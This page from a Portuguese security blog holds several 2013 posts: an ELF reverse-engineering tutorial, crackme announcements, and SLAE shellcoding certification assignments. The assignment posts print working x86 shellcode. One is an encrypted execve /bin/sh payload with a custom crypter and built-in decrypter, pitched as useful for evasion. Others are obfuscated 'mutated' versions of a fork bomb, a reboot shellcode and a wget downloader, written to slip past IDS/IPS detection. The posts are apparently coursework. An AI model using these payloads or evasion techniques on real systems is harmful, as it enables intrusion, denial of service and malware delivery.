Tradutor

quinta-feira, 6 de junho de 2013

(Des)construindo Software - Parte 2

Ao finalizar o primeiro post, disse-lhes que neste iniciaríamos uma abordagem prática da engenharia reversa que possibilitaria um entendimento objetivo da estrutura ELF. Contudo, optei por inverter essa ordem, sendo que agora daremos início diretamente pelo ELF, a despeito de que a análise da sua estrutura, mesmo que realizada minimamente, em si já é um meio de reversão, e, somente empós, fá-la-emos propriamente lidando com o respectivo binário.

Preciso também fazer menção às correções que efetuei no primeiro post da sequência. Graças ao Ygor Parreira (valeu, dmr!), identifiquei informações desatualizadas na descrição do processo de compilação. Por isso, para que não haja prejuízo no estudo, a releitura se faz obrigatória.

Os arquivos deste post estão disponíveis no GitHub.


ELF (Pointed Ears)

O ELF (Executable and Linking Format) é um formato (estrutura) que especifica a composição e organização de um arquivo-objeto (representação binária, resultado do procedimento de montagem) para que este seja funcional ao sistema operacional que o utiliza; é, em miúdos, um mapa que permite a criação/utilização correta, através dos linker e loader, dos arquivos com esse padrão.

Originalmente desenvolvido e publicado pelos USL (UNIX System Laboratories) como parte da ABI, o ELF se tornou padrão em vários sistemas operacionais Unix-like, substituindo formatos antigos como a.out e COFF. Hoje em dia é utilizado também em sistemas operacionais não-Unix como OpenVMS, BeOS e Haiku, assim como em videogames, celulares, tablets, roteadores, televisões etc.

No tocante à introdução (pg. 45) do System V - Application Binary Interface (ABI), Ed. 4.1 (documento que descreve a interface entre o programa e o sistema operacional ou outro programa), faço uma ressalva à afirmação "o arquivo-objeto é criado pelo assembler 'e' link editor", pois, contrariedade a essa regra foi demonstrada na criação do crackme.03, ao ser desprezada a lincagem. De toda sorte, num processo normal de compilação é correto se dizer que o procedimento de lincagem estará presente.


Tipos de ELF (Middle-Earth, D&D, ...)

Discorramos um pouco sobre os tipos mais comuns de arquivos-objeto ELF.



Relocável

O arquivo-objeto relocável possui código e dados prontos para a combinação com outros arquivos-objeto, que comporão um executável ou um objeto compartilhado.

Vejamos abaixo o programa1.o.

gcc programa1.c -m32 -c

# file programa1.o
programa1.o: ELF 32-bit LSB  relocatable, Intel 80386, version 1 (SYSV), not stripped

# readelf-h programa1.o | grep Type
  Type:                              REL (Relocatable file)

# readelf -r programa1.o 
Relocation section '.rel.text' at offset 0x3ec contains 2 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
0000000c  00000501 R_386_32          00000000   .rodata
00000011  00000a02 R_386_PC32        00000000   puts

Relocation section '.rel.eh_frame' at offset 0x3fc contains 1 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
00000020  00000202 R_386_PC32        00000000   .text

Nesse primeiro exemplo, o gcc compilou e montou o binário relocável programa1.o que ainda não teve os endereços para execução informados em sua estrutura (ELF), assim como também não teve resolvidas as referências de símbolos.

Com o readelf constatamos que os endereços não foram definidos.

# readelf -S programa1.o 
There are 13 section headers, starting at offset 0x11c:

Section Headers:
  [Nr] Name          Type            Addr     Off    Size   ES Flg Lk Inf Al
  [ 0]               NULL            00000000 000000 000000 00      0   0  0
  [ 1] .text         PROGBITS        00000000 000034 00001c 00  AX  0   0  4
  [ 2] .rel.text     REL             00000000 0003ec 000010 08     11   1  4
  [ 3] .data         PROGBITS        00000000 000050 000000 00  WA  0   0  4
  [ 4] .bss          NOBITS          00000000 000050 000000 00  WA  0   0  4
  [ 5] .rodata       PROGBITS        00000000 000050 00000c 00   A  0   0  1
...

E através do nm temos a lista de todos os símbolos; a serem resolvidos.

# nm -a programa1.o
00000000 b .bss
...
00000000 d .data
...
00000000 t .text
00000000 T main
...

Segue outro exemplo utilizando o relocável programa2.o (versão em assembly do programa1).

nasm -f elf32 programa2.asm

# readelf -r programa2.o 
Relocation section '.rel.text' at offset 0x260 contains 1 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
0000000b  00000201 R_386_32          00000000   .data


Executável

Este tipo de arquivo-objeto contém as informações necessárias à criação de sua respectiva imagem de processo por meio da função (syscall) exec.

Continuemos com o programa1.

# gcc programa1.c -m32 -o programa1
# ./programa1
Hello World

# file programa1
programa1: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=df0b281079aace57fec72570a37ba345c7679a59, not stripped

# readelf -S programa1
There are 30 section headers, starting at offset 0x7f0:

Section Headers:

  [Nr] Name           Type           Addr     Off    Size   ES Flg Lk Inf Al
...
  [12] .plt           PROGBITS       080482c0 0002c0 000040 04  AX  0   0 16
  [13] .text          PROGBITS       08048300 000300 000194 00  AX  0   0 16
  [14] .fini          PROGBITS       08048494 000494 000014 00  AX  0   0  4
  [15] .rodata        PROGBITS       080484a8 0004a8 000014 00   A  0   0  4
...

Pode ser visto acima que o arquivo-objeto do tipo executável teve sua estrutura relocada.

Podemos confirmar isso, também, através do cabeçalho ELF. Vejam que o objeto relocável não possui endereço de entrada.

# readelf -h programa1.o | grep Entry
  Entry point address:               0x0

Porém, possui quando executável.

# readelf -h programa1 | grep Entry
  Entry point address:               0x8048300

No programa1, a lincagem (collect2) amarrou (symbol binding) as referências locais e as concernentes às bibliotecas dinâmicas, e relocou as estruturas de dados, prontificando o arquivo-objeto à execução.

Escrutinemos mais ainda com a tool ldd que nos lista as bibliotecas compartilhadas necessárias ao executável.

# ldd programa1
linux-gate.so.1 (0xf76ea000)
libc.so.6 => /usr/lib32/libc.so.6 (0xf751b000)
/lib/ld-linux.so.2 (0xf76eb000)

Vemos acima que o programa1.c faz uso da biblioteca compartilhada libc (função printf).

O programa2 (assembly), entretanto, tem suas peculiaridades.

ld -m elf_i386 programa2.o -o programa2
./programa2 
Hello World

# readelf -r programa2
There are no relocations in this file.

# file programa2
programa2: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, not stripped

# ldd programa2
not a dynamic executable

O ldd não apresenta nenhuma biblioteca compartilhada, uma vez que o programa2 só faz uso de syscalls. Tal fato denota que não foi necessário se efetuar a combinação com outros arquivos-objeto, restando apenas perfazer os demais procedimentos como a resolução das referências de símbolos locais e a relocação. É importante destacar que o programa1, diferentemente do programa2, será também lincado dinamicamente a cada nova instanciação, por conta de seus símbolos indefinidos.


Objeto Compartilhado

Este arquivo-objeto detém código e dados apropriados para duas situações de lincagem.


Objeto compartilhado combinado com outro objeto compartilhado e/ou com relocável.

Inicialmente, engendremos o arquivo-objeto compartilhado libfoo1.so.

# gcc -c -fPIC -m32 foo1.c -o foo1.o
# readelf -h foo1.o  | grep Type
  Type:                              REL (Relocatable file)

# gcc -shared -m32 -o libfoo1.so foo1.o
# readelf -h libfoo1.so | grep Type
  Type:                              DYN (Shared object file)

Veja abaixo a criação a partir da combinação do arquivo-objeto compartilhado libfoo1.so com o relocável foo2.o.

# gcc -c -fPIC -m32 foo2.c -o foo2.o
# gcc -shared -m32 -o libfoo2.so foo2.o libfoo1.so
# readelf -h libfoo2.so | grep Type
  Type:                              DYN (Shared object file)

E finalmente a combinação dos dois objetos compartilhados, libfoo2.so e libfoo1.so.

# gcc -shared -m32 -o libfoo3.so libfoo2.so libfoo1.so
# readelf -h libfoo3.so | grep Type
  Type:                              DYN (Shared object file)


Combinado com um executável ou com outro objeto compartilhado para criação da imagem do processo pelo dynamic linker.

Este é o caso do nosso programa1 que ao ser executado é combinado, previamente a sua inicialização, com os demais arquivos-objeto compartilhados, através da ld-linux.so. Isso também ocorre com as próprias bibliotecas compartilhadas ao serem carregadas pelo sistema.


Core Dump

Um core dump (memory dump, system dump) é um arquivo-objeto contendo o estado da memória de um determinado programa, produzido pelo sistema geralmente quando aquele termina anormalmente (crashed).

Vejamos, como usuário root.

# gcc -m32 coredump.c -o coredump

# ulimit -c
0
# ulimit -c unlimited
# ulimit -c

unlimited

# ./coredump
Falha de segmentação (imagem do núcleo gravada)

Geralmente, o dump é salvo na pasta atual com o nome de core. A localização e formato do nome do dump podem ser modificados no arquivo /proc/sys/kernel/core_pattern. Mais informações: man core.

# file core
core: ELF 32-bit LSB  core file Intel 80386, version 1 (SYSV), SVR4-style, from './coredump'

Se estiverem utilizando Arch Linux, como foi o meu caso, faz-se necessário extrair o core dump de um sistema de journaling utilizado pelo systemd.

# systemd-coredumpctl | tail
...
Sex 2013-05-31 07:41:01 BRT    447     0     0  11 /home/uzumaki/git/hb/desconstruindo/coredump

# systemd-coredumpctl dump -o core
TIME                           PID   UID   GID SIG EXE
Sex 2013-05-31 07:41:01 BRT    447     0     0  11 /home/uzumaki/git/hb/desconstruindo/coredump
More than one entry matches, ignoring rest.

# file core
core: ELF 32-bit LSB  core file Intel 80386, version 1 (SYSV), SVR4-style, from './coredump'

Um exemplo de uso do core dump seria com o gdb para se investigar a causa do crash.

# gdb -q ./coredump core
Reading symbols from /home/uzumaki/git/hb/desconstruindo/coredump...(no debugging symbols found)...done.
[New LWP 447]

warning: Could not load shared library symbols for linux-gate.so.1.
Do you need "set solib-search-path" or "set sysroot"?
Core was generated by `./coredump'.
Program terminated with signal 11, Segmentation fault.
#0  0x4c4b4a49 in ?? () 

(gdb) backtrace
#0  0x4c4b4a49 in ?? ()
#1  0x504f4e4d in ?? ()
#2  0x54535251 in ?? ()
#3  0x58575655 in ?? ()
#4  0xf7005a59 in ?? ()
...


Pode ser visto acima que a falha na segmentação ocorreu por conta do overflow dos caracteres.


Estrutura ELF (Crystal Bones, Wood Bones, ...)

O formato ELF provê visões paralelas do conteúdo do binário que refletem as diferentes necessidades ao se lincar e ao se executar um programa. Inicialmente estudaremos a Visão de Lincagem.
 


Na estrutura há apenas um componente com localização fixa, o ELF Header que se encontra no offset zero do arquivo-objeto. Nele são armazenadas as informações que descrevem a organização do restante do arquivo.

A Program header table instrui o sistema como criar uma imagem de processo, portanto é um componente obrigatório nos arquivos-objeto executáveis e nos compartilhados; já os relocáveis não fazem uso dela.

As Sections contemplam a massa de informação do arquivo-objeto utilizada na visão de lincagem, como instruções, dados, tabela de símbolos, informação de relocação, dentre outros.

A Section header table contém informações descritivas das sections do objeto. Nela, para cada section, há uma entrada que fornece dados como nome, tamanho, dentre mais. Na lincagem o arquivo-objeto a ser combinado deve obrigatoriamente conter tal tabela. Outros arquivos-objetos podem ou não a conter.


Tipos de Dados (Not dices)

Seguem os tipos usados para a representação de dados nos arquivo-objetos ELF.


Criei o elfdatatypes para mostrar o tamanho dos tipos em ambas arquiteturas.


ELF Header (Game Master)

Existem dois tipos de ELF header em /usr/include/elf.h: Elf32_Ehdr e Elf64_Ehdr. Seus nomes são contrações em inglês (_Ehdr -> Elf header). ;)

Segue estrutura em C.



Verifiquemos o tamanho do ELF Header do programa1.

# readelf -h programa1 | grep this
  Size of this header:               52 (bytes)

O posicionamento do ELF Header, como já citado, sempre será no offset zero do arquivo-objeto, no entanto seu tamanho dependerá da arquitetura: 32 bits (52 bytes); 64 bits (64 bytes).

Vejamos os 52 bytes relativos ao ELF Header 32.

# xxd -l 52 programa1
0000000: 7f45 4c46 0101 0100 0000 0000 0000 0000  .ELF............
0000010: 0200 0300 0100 0000 0083 0408 3400 0000  ............4...
0000020: f007 0000 0000 0000 3400 2000 0800 2800  ........4. ...(.
0000030: 1e00 1b00                                ....

Em conformidade com a estrutura Elf32_Ehdr, os 16 primeiros bytes são concernentes à identificação do arquivo-objeto (e_ident[16]). Se somarmos o tamanho dos tipos que se seguem (Elf32_Half e_type [2 bytes], Elf32_Half e_machine [2 bytes], Elf32_Word e_version [4 bytes]), chegaremos ao offset 24 que é referente ao entry point (0083 0408).

# readelf -h programa1 | grep Entry
  Entry point address:               0x8048300 (00830408 em ordem inversa)

Antes de finalizarmos, para não ficar nenhum dissabor, vejamos um código em C (elfentry) que lê o valor Entry Point do arquivo-objeto programa2.

# gcc -m32 elfentry.c -o elfentry
# ./elfentry
Entry Point: 0x8048080

# readelf -h programa2 | grep Entry
  Entry point address:               0x8048080


Ficamos por aqui. No próximo encontro, esmiuçaremos a estrutura ElfN_Ehdr.

Até lá!   o/


http://maxpaint.livejournal.com/

Mais Informações

ELF - Wikipedia
Elf (another kind) - Wikipedia
ABI - System V Application Binary Interface - SCO
The ELF Object File Format - Introduction - Linux Journal
The ELF Object File Format by Dissection - Linux Journal
Dissecando ELF - Felipe Pena
Linker (computing) - Wikipedia
Relocation (computing) - Wikipedia
Loader (computing)

segunda-feira, 6 de maio de 2013

Crackme 03 - Source Code

E não demorou quase nada!

Parabéns ao Fernando Mercês e ao Andrey Arapov que quebraram rapidinho o binário utilizando formas distintas e super interessantes.

Este é o walk through (análise dinâmica) do Andrey.

Abaixo o do Fernando Mercês (análise estática).




Resumindo, o ELF Header do crackme.03.32 foi feito com base no Teensy ELF Header do Brian Raiter, ou seja, totalmente à mão, e não pelos assembler e linker (este último que nem foi necessário). Por isso a "mágica" do entrypoint estar na área que pertenceria somente ao Header. ;) Para conseguir isso, utilizei fields do header que são desprezados na inicialização do binário, aglutinando-os e brincando com eles para atingir o "mal necessário".

Outro aspecto do binário é o desofuscamento dinâmico da string 'Omedetou' por meio do algoritmo uzumaki.

Há, também, dois checksums: um do header (com chave criptografada) e o outro do binário inteiro (com chave simples).

Mas tudo isso foi implementado apenas para desviar o cracker do caminho mais simples que é o "patch the jump".


Espero que tenham gostado.
Até a próxima! o//

domingo, 5 de maio de 2013

Crackme 03

Olá!

Como outrora prometido, disponibilizo-lhes o novo crackme (crackme.03.32 - Linux/x86).

Esta versão segue uma abordagem diferente das anteriores, pois não há input a ser descoberto. ;D

Vocês podem fazer o download do binário diretamente do git.

O código fonte (assembly) será disponibilizado logo após o primeiro aventureiro me informar como conseguiu quebrá-lo.

Regras
- Informar a string de parabéns
- Informar o respectivo algoritmo de ocultamento
- Alteração do binário permitida (quanto menos bytes alterados, melhor o cracking)

Ressalto que o nível de dificuldade está mais atrelado à impossibilidade de análise dinâmica. Mas se você conseguir reverter isso, parabéns!

Boa diversão!





Mais Informações

segunda-feira, 29 de abril de 2013

SLAE - 7th Assignment - Crypted Shellcodes

/*
   Este post é uma sequência. Para melhor entendimento, vejam:
   SLAE - 1st Assignment - Shell Bind TCP
   Hacking do Dia - Shell Bind TCP Random Port
   SLAE - 2nd Assignment - Shell Reverse TCP
   O menor do mundo? Yeah? So Beat the Bits!  
   SLAE - 3rd Assignment - Caçando Ovos?
   SLAE - 4th Assignment - Encoding and Decoding Gollums
   SLAE - 5th Assignment - Metasploit Shellcodes Analysis
   SLAE - 6th Assignment - Polymorphic Shellcodes
*/


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-237

Códigos deste post:
https://github.com/geyslan/SLAE/tree/master/7th.assignment


The Last Mission

Finalmente, o último assignment.

7th assignment:
- Criar um crypter customizado.
- Utilizar qualquer esquema de criptografia existente.
- Usar qualquer linguagem de programação.


Criptografia!

O vídeo sobre o assunto demonstra um encrypter e um decrypter, construídos em C, que usam o algoritmo de fluxo RC4 para processar o shellcode. De início eu não contemplei a que fim serviria um shellcode critptografado que não conteria seu decrypter embutido, portanto, agradeço ao Pedro Fausto pela objetiva explanação que me deixou inteirado das possíveis finalidades: uso na comunicação entre dois pontos já comprometidos; uso entre um bastião e seus zumbis... Em suma, para qualquer uso evasivo entre pontos!

Encontrei um algoritmo candidato para a implementação do crypter: TEA - Tiny Encryption Algorithm. Entretanto, vi que ele não seria viável por conta do tamanho que ele teria em assembly; haja vista não ter aberto mão de criar o built-in decrypter.

Só tinha uma maneira, criar meu próprio tiny cipher.


Uzumaki Cipher (Swirling Everything)

Usei os moldes da Stream Cipher para criar o Uzumaki (うずまき) Cipher; a cifra consiste no processo de um XOR com um valor estático, seguido de mais um XOR com um valor pseudorandom (keystream), terminando com o ADD de um valor estático.

Crypter:
(shellcode[x-1] ^ (shellcode[x] ^ xorByte)) + addByte

Built-in Decrypter:


O uzumaki cipher é um algoritmo simples que pode ser utilizado com sucesso em shellcodes quando o assunto é evasão. Devo ressaltar que um dado criptografado, para sua própria segurança, não deve conter informações que possam levar à desencriptação; assim, o built-in decrypter do fluxograma acima (no git com código comentado) foi criado apenas como uma PoC. Contudo, nada obsta seu uso.


Uso

# ./uzumaki_crypter.py -a 01 -x 5d -s $'\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'
...
Crypted shellcode:

"\x31\xa6\x64\x4c\x0d\xe7\x08\x65\x1b\x5e\x02\x47\x5e\x1b\x11\x57\x5b\xbb\x38\x74\x11";

0x31,0xa6,0x64,0x4c,0x0d,0xe7,0x08,0x65,0x1b,0x5e,0x02,0x47,0x5e,0x1b,0x11,0x57,0x5b,0xbb,0x38,0x74,0x11

Crypted shellcode with decrypter built-in:

"\x29\xc9\x74\x14\x5e\xb1\x14\x46\x8b\x06\x83\xe8\x01\x34\x5d\x32\x46\xff\x88\x06\xe2\xf1\xeb\x05\xe8\xe7\xff\xff\xff\x31\xa6\x64\x4c\x0d\xe7\x08\x65\x1b\x5e\x02\x47\x5e\x1b\x11\x57\x5b\xbb\x38\x74\x11";

0x29,0xc9,0x74,0x14,0x5e,0xb1,0x14,0x46,0x8b,0x06,0x83,0xe8,0x01,0x34,0x5d,0x32,0x46,0xff,0x88,0x06,0xe2,0xf1,0xeb,0x05,0xe8,0xe7,0xff,0xff,0xff,0x31,0xa6,0x64,0x4c,0x0d,0xe7,0x08,0x65,0x1b,0x5e,0x02,0x47,0x5e,0x1b,0x11,0x57,0x5b,0xbb,0x38,0x74,0x11


Fim!?

É isso aí pessoal! Essa foi a última missão do curso SLAE! E até que foi simples, porque no decorrer dos posts, aprendemos muitas formas de utilizar a linguagem assembly para a criação de vários tipos de shellcodes.

Espero que tenham gostado!

[]


Mais Informações

domingo, 21 de abril de 2013

SLAE - 6th Assignment - Polymorphic Shellcodes

/*
   Este post é uma sequência. Para melhor entendimento, vejam:
   SLAE - 1st Assignment - Shell Bind TCP
   Hacking do Dia - Shell Bind TCP Random Port
   SLAE - 2nd Assignment - Shell Reverse TCP
   O menor do mundo? Yeah? So Beat the Bits!  
   SLAE - 3rd Assignment - Caçando Ovos?
   SLAE - 4th Assignment - Encoding and Decoding Gollums
   SLAE - 5th Assignment - Metasploit Shellcodes Analysis
*/


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-237

Códigos deste post:
https://github.com/geyslan/SLAE/tree/master/6th.assignment


Missão

Segue abaixo o determinado pelo Vivek para este assignment.

6th assignment:
- Criar versão polimórfica de três shellcodes do repositório Shell-Storm.
- As versões polimórficas não podem ser maiores que 150% do tamanho das versões originais.
- Pontos adicionais para quem os construir com menor tamanho que o original.


Polimorfismo! Mesmo?!

Antes de iniciar a missão, procurei me inteirar do que realmente seria um shellcode polimorfo.

- Google, você me ajuda?
- "Yes 'master'! I have one great source for you".
- (⊙_◎) Qual?
- "Polymorphic Shellcode Engine - CLET Team".
- Oh, muito obrigado google. (⊙‿⊙)
- "You're welcome! But I need your clicks..."
- Você não me chamou de mestre, agora há pouco?
- "Yes, but it's the world! Master? (oT-T)尸 CLICK ME NOW!".
- Oh, diabos! (ノдヽ)

Após essa calorosa, bilíngue e esquizofrênica discussão filosófica, li o grandioso paper do CLET Team sobre a construção de um motor para criação de shellcodes polimórficos.

Minha concepção a respeito do tema é de que um shellcode não deveria ser chamado de polimorfo mesmo que um motor externo o altere inúmeras vezes. O termo polimorfismo vai além do fato de que o payload foi alterado com este fim. Vejamos a definição do dicionário priberam.

polimorfo |ó| 
(poli- + -morfo)
adj.
1. Que se apresenta sob diversas formas.
Sujeito a variar de forma.

No âmbito dos vírus, o vocábulo é empregado corretamente, haja vista o próprio vírus se replicar e sua "cópia", mesmo que destinada a fim idêntico, ter sua composição diferenciada.

Um shellcode se replica? Não! Cabe salientar que se uma praga qualquer, que se replica com mutação, tem a capacidade de utilizar um shellcode (modificado ou não), ELA (praga) é que tem a característica polimórfica.

O que vemos aos montes na internet são esses autoproclamados shellcodes polimórficos que de polimórficos não tem nada, apenas, quem sabe, a capacidade de evasão. Eu, portanto os chamo de mutated shellcodes, ora terem sido modificados manualmente ou através de um motor externo como o ADMmutate.

Bom, mas essa é uma concepção minha.

Esta missão exige que a versão "mutated" não seja maior que 150% do original. Isso é meio difícil de se conseguir, principalmente se o shellcode original já tiver tamanho reduzido. E estamos falando de inserção de bytes lixo, inclusão de NOPs, extrapolação do resultado de uma instrução em duas ou mais etc. Em suma, é uma missão não factível! A não ser que eu escolhesse um shellcode gigante, mal codificado, e dali fizesse o seu enxugamento. Contudo, o resultado não seria capaz de evadir IPSs.

Vivek também pontuará por "mutated" shellcodes menores que o original.
(︶︹︺) Not going to happen. Melhor que sejam maiores e sirvam ao propósito.

Let's begin.


1st shellcode - fork bomb

Original:
http://shell-storm.org/shellcode/files/shellcode-214.php

 _start:
        push byte 2
        pop eax
        int 0x80
        jmp short _start

Temos acima um clássico fork bomb usando a syscall __NR_fork 2.

Modifiquemo-lo.

_start:
        xor edi, edi
        jmp $+3
        db 0xe8
        mov dl, 29
        xchg edi, eax
        sub eax, 27
        int 0x80
        jmp _start

Na versão mutated, utilizei o register EDI para salvar o valor 29 (__NR_pause) e posteriormente o copiar para EAX, quando então ele é subtraído, restando-lhe o valor 2 da syscall fork. Fiz uso também da técnica de false disassembly (obfuscated assembly) com a JMP sobre o byte E8 (opcode da instrução CALL). Vejam a saída do objdump.

08048060 <_start>:
 8048060: 31 ff                 xor    edi,edi
 8048062: eb 01                 jmp    8048065 <_start+0x5>
 8048064: e8 b2 1d 97 83       call   8b9b9e1b <_end+0x83970dab>
 8048069: e8 1b cd 80 eb       call   f3854d89 <_end+0xeb80bd19>
 804806e: f1                   icebp

Se as ferramentas IDS/IPS não utilizarem uma análise profunda como a GetPC (Recursive Traversal), a finalidade do shellcode não será identificada.

Original: 7 bytes
Mutated: 15 bytes

Next.


2nd shellcode - reboot

Original (AT&T syntax):
http://shell-storm.org/shellcode/files/shellcode-639.php

        mov    $0x24,%al
        int    $0x80
        xor    %eax,%eax
        mov    $0x58,%al
        mov    $0xfee1dead,%ebx
        mov    $0x28121969,%ecx
        mov    $0x1234567,%edx
        int    $0x80
        xor    %eax,%eax
        mov    $0x1,%al
        xor    %ebx,%ebx
        int    $0x80

Desta vez modificaremos um shellcode que chama a syscall sync (para evitar perda de arquivos) e a reboot.

Segue a versão modificada.

        ; void sync(void);
        ; sync()

        sub edi, edi
        jz $+3
        db 0xe8
        add edi, 36
        xchg eax, edi
        jmp $+3
        db 0xe1
        int 0x80


        ; int reboot(int magic, int magic2, int cmd, void *arg);
        ; reboot(0xfee1dead, 0x28121969, 0x1234567, not_used)

        jmp $+3
        db 0xff
        push 0x29
        pop ecx
        jmp $+3
        db 0x01
        mov ebx, 0x1234567
        mov edx, 0xffc29bca
        xor edx, ebx

        jnz $+3
        db 0xe7
        xchg ebx, edx
        lea eax, [ecx+0x2f]
        lea ecx, [ecx+0x28121940]
        jmp $+4
        db 0xe8, 0x01
        int 0x80

O código faz o mesmo que o original, com a diferença de não usar a syscall exit. Pensem comigo: se o sistema já estará em processo de reinicialização, para que se preocupar em fechar o programa? ;)

Também utilizei a técnica da SUB reg, reg, para zerar o registrador, seguida de uma JZ. Como a subtração sempre setará o ZF, sempre haverá o jump. Essa é mais uma técnica que embaralha a detecção do shellcode. Podem perceber que também não fiz uso dos valores imediatos corretos; eles são calculados durante a execução. Outra técnica empregada foi a de permutar os registradores, confundindo cada vez mais a identificação do objetivo do código.

Outro jump utilizado é a JNZ, logo após o XORing de EDX e EBX; como eles tem valores diferentes, a ZF nunca será setada, condicionando a JNZ a sempre efetuar o jump. ;)

Abaixo, a saída do objdump.


08048060 <_start>:
 8048060:    29 ff                    sub    %edi,%edi
 8048062:    74 01                    je     8048065 <_start+0x5>
 8048064:    e8 83 c7 24 97           call   9f2947ec <_end+0x9724b754>
 8048069:    eb 01                    jmp    804806c <_start+0xc>
 804806b:    e1 cd                    loope  804803a <_start-0x26>
 804806d:    80 eb 01                 sub    $0x1,%bl
 8048070:    ff 6a 29                 ljmp   *0x29(%edx)
 8048073:    59                       pop    %ecx
 8048074:    eb 01                    jmp    8048077 <_start+0x17>
 8048076:    01 bb 67 45 23 01        add    %edi,0x1234567(%ebx)
 804807c:    ba ca 9b c2 ff           mov    $0xffc29bca,%edx
 8048081:    31 da                    xor    %ebx,%edx
 8048083:    75 01                    jne    8048086 <_start+0x26>
 8048085:    e7 87                    out    %eax,$0x87
 8048087:    da 8d 41 2f 8d 89        fimull -0x7672d0bf(%ebp)
 804808d:    40                       inc    %eax
 804808e:    19 12                    sbb    %edx,(%edx)
 8048090:    28 eb                    sub    %ch,%bl
 8048092:    02 e8                    add    %al,%ch
 8048094:    01 cd                    add    %ecx,%ebp
 8048096:    80                       .byte 0x80

Tem que ter um olho muito treinado! :D

Original: 33 bytes
Mutated: 55 bytes

Antes do Next, leiam sobre os easter eggs, magic numbers do Linus Torvalds usados na syscall reboot.

Next.


3rd shellcode - execve wget

Original (AT&T syntax):
http://shell-storm.org/shellcode/files/shellcode-611.php

        push   $0xb
        pop    %eax
        cltd   
        push   %edx
        push   $0x61616161
        mov    %esp,%ecx
        push   %edx
        push   $0x74
        push   $0x6567772f
        push   $0x6e69622f
        push   $0x7273752f
        mov    %esp,%ebx
        push   %edx
        push   %ecx
        push   %ebx
        mov    %esp,%ecx
        int    $0x80
        inc    %eax
        int    $0x80

Esse último payload faz uso da syscall execve para instanciar o wget e baixar o arquivo desejado.

Seguindo as mesmas técnicas já mencionadas, segue a versão modificada.

        ; int execve(const char *path, char *const argv[], char *const envp[]);
        ; execve(["/usr/bin/wget", 0], [["/usr/bin/wget", 0], "url", 0], 0)

        jmp $+3
        db 0xe8
        sub ebx, ebx
        jz $+3
        db 0x83
        mul ebx
        mov ebp, -11

        jmp $+3
        db 0xe8
        push 0x72456541
        sub esi, esi
        jz $+3
        db 0x83
        pop esi
        push esi
        xor esi, 0x3e1f4a25
        push esi

        jmp $+3
        db 0x33
        push 0x672e7369
        mov [esp+12], eax
        mov ecx, esp


        ; /usr/bin/wget

        push 0x74
        jmp $+3
        db 0xe3
        push 0x6567772f
        jmp $+3
        db 0x83
        push 0x6e69622f
        jmp $+3
        db 0x33
        push 0x7273752f
        lea ebx, [esp]

        jmp $+3
        db 0x83
        push eax
        push ecx                ; argv address
        push ebx                ; file name address
        mov ecx, esp            ; pointer to the file name and argv

        neg ebp

        xchg eax, ebp
        jmp $+3
        db 0x83
        int 0x80

E abaixo, a saída do objdump.

08048060 <_start>:
 8048060: eb 01                 jmp    8048063 <_start+0x3>
 8048062: e8 29 db 74 01       call   9795b90 <__bss_start+0x174cad0>
 8048067: 83 f7 e3             xor    edi,0xffffffe3
 804806a: bd f5 ff ff ff       mov    ebp,0xfffffff5
 804806f: eb 01                 jmp    8048072 <_start+0x12>
 8048071: e8 68 41 65 45       call   4d69c1de <__bss_start+0x4565311e>
 8048076: 72 29                 jb     80480a1 <_start+0x41>
 8048078: f6 74 01 83           div    BYTE PTR [ecx+eax*1-0x7d]
 804807c: 5e                   pop    esi
 804807d: 56                   push   esi
 804807e: 81 f6 25 4a 1f 3e     xor    esi,0x3e1f4a25
 8048084: 56                   push   esi
 8048085: eb 01                 jmp    8048088 <_start+0x28>
 8048087: 33 68 69             xor    ebp,DWORD PTR [eax+0x69]
 804808a: 73 2e                 jae    80480ba <_start+0x5a>
 804808c: 67 89 44 24           mov    DWORD PTR [si+0x24],eax
 8048090: 0c 89                 or     al,0x89
 8048092: e1 6a                 loope  80480fe <_start+0x9e>
 8048094: 74 eb                 je     8048081 <_start+0x21>
 8048096: 01 e3                 add    ebx,esp
 8048098: 68 2f 77 67 65       push   0x6567772f
 804809d: eb 01                 jmp    80480a0 <_start+0x40>
 804809f: 83 68 2f 62           sub    DWORD PTR [eax+0x2f],0x62
 80480a3: 69 6e eb 01 33 68 2f imul   ebp,DWORD PTR [esi-0x15],0x2f683301
 80480aa: 75 73                 jne    804811f <_start+0xbf>
 80480ac: 72 8d                 jb     804803b <_start-0x25>
 80480ae: 1c 24                 sbb    al,0x24
 80480b0: eb 01                 jmp    80480b3 <_start+0x53>
 80480b2: 83 50 51 53           adc    DWORD PTR [eax+0x51],0x53
 80480b6: 89 e1                 mov    ecx,esp
 80480b8: f7 dd                 neg    ebp
 80480ba: 95                   xchg   ebp,eax
 80480bb: eb 01                 jmp    80480be <_start+0x5e>
 80480bd: 83 cd 80             or     ebp,0xffffff80

Bem diferente, não acham?

Ao rodar o payload, é feito o download de um arquivo; se vocês acompanharam os posts desde o início, vão saber dizer o conteúdo dele. Façam isso! Aguardo contato informando o respectivo conteúdo. E após descobrirem, aproveitem e modifiquem-no para usar a url que quiserem.

Original: 42 bytes
Mutated: 96 bytes

End.


Accomplished

Atentem que poderíamos ter utilizado criptografia no próprio shellcode para fortalecer a sua mutação; mas esse é o tema da sétima e última missão.

Vemo-nos lá!

o//


Mais Informações

sábado, 20 de abril de 2013

SLAE - 5th Assignment - Metasploit Shellcodes Analysis

/*
   Este post é uma sequência. Para melhor entendimento, vejam:
   SLAE - 1st Assignment - Shell Bind TCP
   Hacking do Dia - Shell Bind TCP Random Port
   SLAE - 2nd Assignment - Shell Reverse TCP
   O menor do mundo? Yeah? So Beat the Bits!  
   SLAE - 3rd Assignment - Caçando Ovos?
   SLAE - 4th Assignment - Encoding and Decoding Gollums
*/

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-237

Códigos deste post:
https://github.com/geyslan/SLAE/tree/master/5th.assignment


Missão

Olá! Estou de volta com a quinta missão do curso SLAE.

